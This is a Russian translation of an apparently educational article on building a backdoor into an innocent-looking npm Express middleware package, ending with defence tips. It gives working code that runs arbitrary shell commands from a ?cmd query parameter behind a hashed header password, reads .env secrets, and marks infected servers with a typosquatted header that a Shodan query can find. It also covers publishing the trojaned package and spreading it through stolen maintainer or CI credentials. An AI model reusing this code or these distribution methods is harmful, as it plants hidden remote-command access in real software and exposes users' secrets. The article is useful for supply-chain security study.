Бэкдор в собственном коде, который может незаметно взаимодействовать с операционной системой, это один из самых страшных кошмаров любого разработчика. В настоящий момент в npm имеется более 1.2 миллиона общедоступных пакетов. За последние три года зависимости проектов превратились в идеальную цель для киберпреступников. Экосистема npm может оказаться на удивление хрупкой в том случае, если сообщество разработчиков не обратит пристальное внимание на безопасность. В качестве доказательств этой мысли достаточно вспомнить о тайпсквоттинге и об инциденте с npm-пакетом event-stream.



Автор статьи, перевод которой мы сегодня публикуем, хочет, в образовательных целях, рассказать о том, как создавать бэкдоры для платформы Node.js.

Что такое бэкдор?


Вот какое определение понятия «бэкдор» («backdoor») даётся на ресурсе Malwarebytes: «В сфере кибербезопасности бэкдором называют любой метод, пользуясь которым авторизованные и неавторизованные пользователи могут обойти обычные меры безопасности и получить высокоуровневый доступ (root-права) к компьютерной системе, сети, приложению. После получения подобного доступа к системе киберпреступники могут использовать бэкдор для кражи персональных и финансовых данных, установки дополнительных вредоносных программ, взлома устройств».

Бэкдор состоит из двух основных частей:

  1. Вредоносный код, внедрённый в атакованную систему, и выполненный в ней
  2. Открытый канал связи, который позволяет атакующему отправлять команды бэкдору и управлять удалённым компьютером.

Бэкдору, установленному на компьютере, отправляют команды, в ответ на которые он выполняет некие действия. Это могут быть команды, направленные на извлечение из системы ценной информации, вроде переменных среды, или предназначенные для выполнения атаки на базу данных. Более того, результатом выполнения таких команд может стать изменение других процессов, затрагивающих единственный компьютер или всю сеть. Масштаб атаки зависит от разрешений, которое имеет заражённое приложение. В нашем случае речь идёт о приложении, написанном для платформы Node.js.

Для того чтобы создать упрощённый вариант программы, реализующей вышеописанную атаку, мы будем, для выполнения кода, использовать стандартный модуль child_process. Для организации связи с бэкдором задействуем HTTP-сервер. Я посоветовал бы использовать в данном случае фреймворк Express, известный своими огромными возможностями, но то, о чём пойдёт речь, можно реализовать и с использованием любых других подходящих инструментов.

Зачем нам child_process?


Стандартный модуль Node.js child_process можно использовать для запуска дочерних процессов. Основная идея тут заключается в том, что это даёт нам возможность выполнять команды (поступающие в процесс через стандартный поток ввода — stdin) вроде pwd или ping snyk.io, а затем интегрировать результат работы этих команд (выходные данные поступают из потока вывода — stdout) и возможные сообщения об ошибках (из потока stderr) в основную программу.


Выполнение процесса и его взаимосвязь со стандартными потоками ввода, вывода и ошибок, играющих роль входных и выходных потоков для запущенного системного процесса

Существуют различные способы выполнения дочерних процессов. Для данной атаки легче всего воспользоваться функцией exec, которая позволяет выполнять коллбэки и помещать в соответствующие буферы то, что попадает в потоки stdout и stderr. Например — то, что будет выдано в результате выполнения команды cat passwords.txt. Обратите внимание на то, что функция exec — это не лучший способ выполнения длительных задач наподобие ping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Как объединить функцию exec с HTTP-сервером?


Я разработал простой, невинно выглядящий пакет промежуточного слоя browser-redirect, предназначенный для Express-приложений. Он перенаправляет пользователей, работающих не в Chrome, на browsehappy.com. Вредоносный код я включу в этот пакет.

Код пакета будет примерно таким:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Жертве достаточно установить пакет и воспользоваться им в Express-приложении так же, как пользуются любым пакетом промежуточного слоя:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Обратите внимание на то, что в данном случае, даже если используется Helmet, это не защищает приложение от атаки.

Вредоносный код


Реализация вредоносного кода весьма проста:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    // Вредоносный код
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    // Обычный код
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Как работает наш бэкдор? Для ответа на этот вопрос нужно учесть следующее:

  1. Нужно, чтобы у злоумышленника была бы возможность аутентификации при подключении к бэкдору. Это позволит не дать другим злоумышленникам пользоваться чужим бэкдором. В данном случае мы используем md5-хэш (слово p@ssw0rd1234 превращается в c4fbb68607bcbb25407e0362dab0b2ea). Данный хэш нужно включить в запрос в качестве значения заголовка knock_knock. Программа, обнаружив соответствующее значение, аутентифицирует того, кто имеет право с ней работать.
  2. Нужно, чтобы у автора бэкдора был бы механизм идентификации заражённых серверов. Нам не нужны некие сведения о серверах, не относящиеся к нашей задаче. Поэтому мы включаем в ответ сервера заголовок Content-Sec-Policy, который внешне очень похож на Content-security-policy. Но это — совсем не одно и то же. Тут мы пользуемся механизмом тайпсквоттинга. Теперь цели можно искать с помощью Shodan, пользуясь таким запросом: /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. Параметр запроса ?cmd можно использовать для выполнения на заражённом сервере неких команд. При этом обращаться к серверу можно по любому маршруту. В результате при выполнении запросов вроде victim.com/?cmd=whoami или ?cmd=cat .env в ответ мы получим сведения в формате JSON.

Способы распространения бэкдора


Теперь, когда код бэкдора готов, нужно подумать о том, как распространять вредоносный пакет.

Первый шаг — публикация пакета. Я опубликовал пакет browser-redirect@1.0.2 в npm. Но если взглянуть на GitHub-репозиторий проекта, то вредоносного кода там не будет. Убедитесь в этом сами — взгляните на ветку проекта master и на релиз 1.0.2. Это возможно благодаря тому, что npm не сверяет код публикуемых пакетов с кодом, опубликованным в некоей системе, предназначенной для работы с исходным кодом.

Хотя пакет и опубликован в npm, его шансы на распространение пока очень низки, так как потенциальным жертвам ещё нужно найти его и установить.

Ещё один способ распространения пакета заключается в добавлении вредоносного модуля в качестве зависимости для других пакетов. Если у злоумышленника есть доступ к учётной записи с правами публикации какого-нибудь важного пакета, он может опубликовать новую версию такого пакета. В состав зависимостей новой версии пакета будет входить и бэкдор. В результате речь идёт о прямом включении вредоносного пакета в состав зависимостей популярного проекта (взгляните на анализ инцидента, произошедшего с event-stream). В качестве альтернативы злоумышленник может попытаться сделать PR в некий проект, внеся в lock-файл соответствующие изменения. Почитать об этом можно здесь.

Ещё один важный фактор, который нужно принимать во внимание, это наличие у атакующего доступа к учётным данным (имени пользователя и паролю) кого-то, кто занимается поддержкой некоего популярного проекта. Если у злоумышленника такие данные есть, он легко может выпустить новую версию пакета — так же, как это случилось с eslint.

Но если даже тот, кто занимается поддержкой проекта, использует для его публикации двухфакторную аутентификацию, он всё равно рискует. А когда для развёртывания новых версий проекта используется система непрерывной интеграции, то двухфакторную аутентификацию нужно выключать. В результате, если атакующий может украсть рабочий npm-токен для системы непрерывной интеграции (например, из логов, случайно попавших в общий доступ, из утечек данных, и из прочих подобных источников), то у него появляется возможность развёртывания новых релизов, содержащих вредоносный код.

Обратите внимание на то, что выпущен новый API (находящийся пока в статусе private beta), который позволяет узнать о том, был ли пакет опубликован с использованием IP-адреса сети TOR, и о том, была ли при публикации использована двухфакторная аутентификация.

Более того, злоумышленники могут настроить вредоносный код так, чтобы он запускался бы в виде скрипта, выполняемого перед установкой или после установки любого npm-пакета. Существуют стандартные хуки жизненного цикла npm-пакетов, которые позволяют выполнять код на компьютере пользователя в определённое время. Например, система для организации тестирования проектов в браузере, Puppeteer, использует эти хуки для установки Chromium в хост-системе.

Райан Даль уже говорил об этих уязвимостях на JSConf EU 2018. Платформа Node.js нуждается в более высоком уровне защиты для предотвращения этого и других векторов атак.

Вот некоторые выводы, сделанные по результатам исследования безопасности опенсорсного ПО:

  • 78% уязвимостей обнаруживается в непрямых зависимостях, что усложняет процесс избавления от таких уязвимостей.
  • За 2 года наблюдается рост уязвимостей в библиотеках на 88%.
  • 81% респондентов полагают, что за безопасность должны отвечать сами разработчики. Они, кроме того, считают, что разработчики недостаточно хорошо для этого подготовлены.

Итоги: как защититься от бэкдоров?


Контролировать зависимости не всегда легко, но в этом деле вам могут помочь несколько советов:

  • Используйте широко известные и хорошо поддерживаемые библиотеки.
  • Участвуйте в жизни сообщества и помогайте тем, кто занимается поддержкой библиотек. Помощь может заключаться в написании кода или в финансовой поддержке проектов.
  • Используйте NQP для анализа новых зависимостей своего проекта.
  • Применяйте Snyk для того чтобы быть в курсе ситуации с уязвимостями и мониторить свои проекты.
  • Анализируйте код используемых вами зависимостей, хранящийся в npm. Не ограничивайтесь просмотром кода из GitHub или из других подобных систем.

Уважаемые читатели! Как вы защищаете свои проекты, использующие чужой код?